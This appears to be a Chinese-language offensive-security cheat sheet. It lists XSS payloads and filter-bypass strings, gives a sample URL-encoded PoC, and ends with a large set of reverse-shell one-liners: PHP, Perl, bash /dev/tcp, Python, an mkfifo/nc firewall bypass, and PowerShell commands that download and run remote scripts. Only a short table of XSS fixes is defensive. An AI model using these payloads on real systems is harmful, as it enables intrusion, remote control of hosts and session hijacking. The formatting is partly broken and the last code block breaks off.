XXS
简单payload
自动弹窗优先级
1
| svg > img > iframe > object > embed > video/audio > details > marquee > math
|
常见xss的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| #标签外常用#base64加密 <object data=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==></object> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe> #img#强制错误弹 <img src=x onerror=alert('XSS')> #svg#加载弹窗 <svg onload=alert('XSS')> #svg#加密payload <svg onload=eval(atob('YWxlcnQoMSk='))> #svg内嵌代码1 <svg> <animate onbegin=alert(1) attributeName=x /> </svg> #svg内嵌代码2 <svg> <set onbegin=alert(1) /> </svg> #svg内嵌代码3 <svg> <foreignObject onload=alert(1)></foreignObject> </svg> #点击 # JS 协议 <a href="javascript:alert('xxx')">xss</a> <a data-url="" onclick="alert('xxx')">xss</a>
#normal <script>alert('XSS')</script>
#鼠标移动 <a onmousemove="alert(1)">hover me</a> <a onmousemove="alert(1)" style="display:block;width:200px;height:50px;background:red"> #鼠标移动代码2 <math> <mtext onmouseover=alert(1)>X</mtext> </math> #特定标签 <iframe src=about:blank onload=alert(1)></iframe> #强制本页无限弹窗 #聚焦时弹xss,强制聚焦 <input autofocus onfocus=alert(1)> #非 常见标签 #万能嵌入器#早期网页:<embed src="movie.swf"> <embed src="data:text/html,<script>alert(1)</script>"> #详细信息 <details open ontoggle=alert(1)> #h5视频标签 <video src=x onerror=alert(1)> #h5音频标签 <audio src=x onerror=alert(1)>
|
1 2 3 4 5 6 7 8 9 10
| #常见反射型 "+onmouseover=alert/*abcd*/`xss` ""; alert`1`; //"; 0||alert%0D`1`// %0a`${alert%0D(1)}` onload=alert`1` //
#流程中含有转义步骤 \u0022\u003b+alert\u00601\u0060\u003b+//
|
注:html解析HTML 实体编码
例如:
注:JavaScript Unicode 转义(\uXXXX) 和 URL 编码(%XX)
xxs需要注意被墙了可以尝试从转义或者解析角度注入
当然文件预览的方向也可以尝试
可以通过网址来查看以前大佬们提交的漏洞
若响应包存在请求头 application/javascript
1 2
| 通杀测试 <p><img src='http://xxxxx/xss/xss.gif' alt='Smiley face' width='32' height='32'></p>
|
python jsingif.py -i hack.gif “javascript:alert(‘Power_Liu’)”
jsingif.py
用ai改了一下,python3也可以用
jsingif.py
若页面存在预览和上传
则xss.pdf
经典示例:
get参数变更
示例poc:
1
| https://www.xxx.com/employers/sem-dual-lp/?utm_source=abc%60%3breturn+false%7d%29%3b%7d%29%3balert%60xss%60;%3c%2f%73%63%72%69%70%74%3e
|
payload:
1 2 3 4
| abc%60%3breturn+false%7d%29%3b%7d%29%3balert%60xss%60;%3c%2f%73%63%72%69%70%74%3e 解析:
abc'%3breturn+false})%3b})%3balert`xss ;<%2fscript>
|
图片名称变更
payload: \ “><img src=1 onerror=" URL=String;

xss修复建议
| 维度 |
安全策略与行为 |
技术细节与风险点说明 |
| 编码解析 |
单次实体解码 |
HTML 实体(如 <)会被还原为 <,但 URL 编码(%xx)不会被解析。这种设计彻底切断了“解码->绕过->再解码”的二次解析攻击链。 |
| 属性过滤 |
属性级白名单 |
仅保留 href 和 src 等必要路径属性。所有 on\* 事件、style 及自定义属性全部抹除,防止 CSS 表达式或 JS 事件注入。 |
| 协议限制 |
严格协议校验 |
拦截 javascript: 和 data: 伪协议。采用先解码后校验的逻辑,防止利用编码后的非法协议绕过正则匹配。 |
| 组件重写 |
主动安全配置 |
对 Flash 等插件不只是过滤,而是重写属性。强制设置 allowscriptaccess="never"(禁调 JS)和 allownetworking="internal"(限制外联)。 |
| 资源控制 |
内容安全策略 (CSP) |
配合域名白名单,限制仅加载官方脚本。这是防止外部恶意脚本注入的最后一道防线。 |
| 自动处理 |
自动链接转换 |
仅在安全校验通过后,将纯文本 URL 转换为 <a> 标签,确保输出的 DOM 结构可控。 |
反弹shell
| 方式 |
依赖工具 |
优点 |
缺点 |
| Bash |
Bash Shell |
无需安装,极其通用 |
某些精简系统(如 Alpine)可能不支持 |
| NC (FIFO) |
netcat |
几乎所有系统都有 nc |
命令较长,容易出错 |
| Python |
Python 2/3 |
交互性强,稳定 |
需要预装 Python 环境 |
| PHP |
PHP-cli |
Web 服务器常用 |
需要 PHP 命令行模式支持 |
PHP Reverse Shell
1 2 3 4 5 6 7
| <?php set_time_limit (0); $ip="192.168.xx.xx"; $port=8080; $sock=fsockopen($ip,$port); $proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>
|
1
| php -r '$sock=fsockopen("192.168.1.1",监听端口);exec("/bin/sh -i <&3 >&3 2>&3");'
|
PERL Reverse Shell
1
| perl -e 'use Socket;$i="192.168.xxx.xx";$p=8123;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
mkfifo+php+nc主要条件
1 2 3 4 5
| <?php $ip = '192.168.xxx.xxx'; $port = 8080; system("rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc $ip $port > /tmp/f"); ?>
|
RCE Reverse Shell
1 2 3 4
| bash -i >& /dev/tcp/10.xx.0.xx/8080 0>&1
nc -lvnp 8080
|
Python Reverse Shell
1 2 3 4
| python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.xx.xx",监听端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
#python python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.xx.xx",8080));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
|
Windows Reverse Shell
1 2 3 4 5 6 7 8 9
| powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.xxx.144:1234/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.xxx.144 -port 4444
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.xxx.144:1234/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.xxx.144 -port 6666
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.xxx.144:1234/Invoke-PowerShellIcmp.ps1');Invoke-PowerShellIcmp -IPAddress 192.168.xxx.144
|
工具
Windows环境下反弹shell各类姿势-腾讯云开发者社区-腾讯云
绕过防火墙
FIFO(First In, First Out) 也就是 命名管道(Named Pipe),是一个极其强大的工具。
1 2 3 4
| nc 192.168.1.1 8080 -e /bin/sh -> 报错 invalid option -- e。
FIFO 绕过: ```bash mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.1 8080 > /tmp/f
|